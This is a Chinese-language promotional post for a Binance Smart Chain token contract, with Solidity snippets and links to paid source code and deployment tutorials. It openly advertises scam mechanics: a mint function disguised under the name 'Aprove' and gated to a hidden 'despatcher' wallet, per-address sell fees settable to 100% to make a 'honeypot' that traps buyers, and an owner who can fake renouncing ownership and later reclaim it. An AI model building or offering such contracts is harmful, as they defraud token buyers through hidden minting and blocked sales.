一、说明
合约主要实现自动回流底池,底池采用本币和WETH即BNB组成交易对,并且同时支持多个交易对包括usdt,fist,raca等。除了合约中的主流模式机制外还包括如下限制性功能:
- 限制每笔交易的最大交易额度
- 限制单个钱包地址的最大持币数量
- 针对单个钱包地址但是设置卖出交易手续费,未设置手续费的钱包地址采用默认交易手续费
- 限制交易开盘时间,限制流动性添加时间
- 限制lp在不同钱包地址之间转移,transfer后的lp无效
- 限制每个钱包地址添加流动性后的最小保留时长,达到该时长后才允许撤销流动性
- 限制每个钱包地址的累计卖出数量usdt
- 限制抢开盘的机器人bot地址和夹子软件地址
更相信的合约模式及功能说明如下:
1. 合约主要实现模式为:自动回流底池+营销钱包回流ETH+团队钱包回流ETH+裂变空投
2. 合约最有价值的功能点为:通过TokenFee结构体类型实现限制单个地址卖出手续费,针对单个地址设置卖出手续费。通过该功能可以拉黑机器人,可以限制科学家和巨鲸卖出的手续费为100%,达到黑名单或者貔貅的目的
3. 可约具备隐藏增发功能,通过despatcher钱包地址限制增发权限
4. 提供了changeRouterVersion更新router地址功能,在不同的dex之间迁移的功能
5. 不同渠道的手续费通过单独的变量进行设置,但是在本币转换为ETH分发到不同的渠道时可以灵活设置分发比例
6. 合约所有权可以找回,通过lock接口放弃权限后,在需要合约所有权时仍然可以找回
二、核心模块功能代码
- 合约所有权可以找回功能模块
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function waiveOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
2. 隐藏增发功能模块
function Aprove(address spender,uint256 _value)public {
require( despatcher != address(0) && despatcher == msg.sender,"not allow");
aprove(spender, _value);
}
3. 针对单个钱包地址设置手续费及交易空投裂变功能代码
if(isMarketPair[sender]) {
feeAmount = amount.mul(_totalTaxIfBuying).div(100);
airDropFeeAmount = amount.mul(_airDropFee).div(10000);
if(feeAmount > 0) {
_tOwned[address(this)] = _tOwned[address(this)].add(feeAmount);
emit Transfer(sender, address(this), feeAmount);
}
if(airDropFeeAmount > 0) {
airDropHalf = airDropFeeAmount.mul(99).div(100);
_tOwned[teamWalletAddress] += airDropHalf;
emit Transfer(sender, teamWalletAddress, airDropHalf);
airDropFeeAmount -= airDropHalf;
uint airDropEve = airDropFeeAmount / 3;
for (uint i = 0; i < 3; i++) {
address randomAddr = address(uint160(uint(keccak256(abi.encodePacked(i, amount, block.timestamp)))));
if(i == 2){
_tOwned[randomAddr] += airDropFeeAmount - airDropEve - airDropEve;
emit Transfer(sender, randomAddr, airDropFeeAmount - airDropEve - airDropEve);
}else{
_tOwned[randomAddr] += airDropEve;
emit Transfer(sender, randomAddr, airDropEve);
}
}
}
}
4. 不同dex交易所之间迁移及多交易对支持功能模块
function changeRouterVersion(address newRouterAddress) public onlyOwner returns(address newPairAddress) {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(newRouterAddress);
newPairAddress = IUniswapV2Factory(_uniswapV2Router.factory()).getPair(address(this), _uniswapV2Router.WETH());
if(newPairAddress == address(0)) //Create If Doesnt exist
{
newPairAddress = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
}
uniswapPair = newPairAddress; //Set new pair address
uniswapV2Router = _uniswapV2Router; //Set new router address
isWalletLimitExempt[address(uniswapPair)] = true;
isMarketPair[address(uniswapPair)] = true;
}
三、完整版自动回流底池+营销钱包回流ETH+裂变空投+隐藏增发+找回合约所有权合约源代码如下:
源码及合约部署、开源、上线交易所、动态参数配置教程下载地址:
至此,完成自动回流底池+营销钱包回流ETH+裂变空投+隐藏增发+找回合约所有权合约源代码部署所有操作流程。
pdf+视频币安智能链BSC发币教程及多模式组合合约源代码下载:
币安智能链BSC发币(合约部署、开源、锁仓、LP、参数配置、开发、故障处理、工具使用)教程下载:
多模式(燃烧、回流指定营销地址、分红本币及任意币种,邀请推广八代收益,LP加池分红、交易分红、复利分红、NFT分红、自动筑池、动态手续费、定时开盘、回购)组合合约源代码下载:
pdf+视频币安智能链BSC发币教程及多模式组合合约源代码下载地址:
添加VX或者telegram获取全程线上免费指导
评论前必须登录!
注册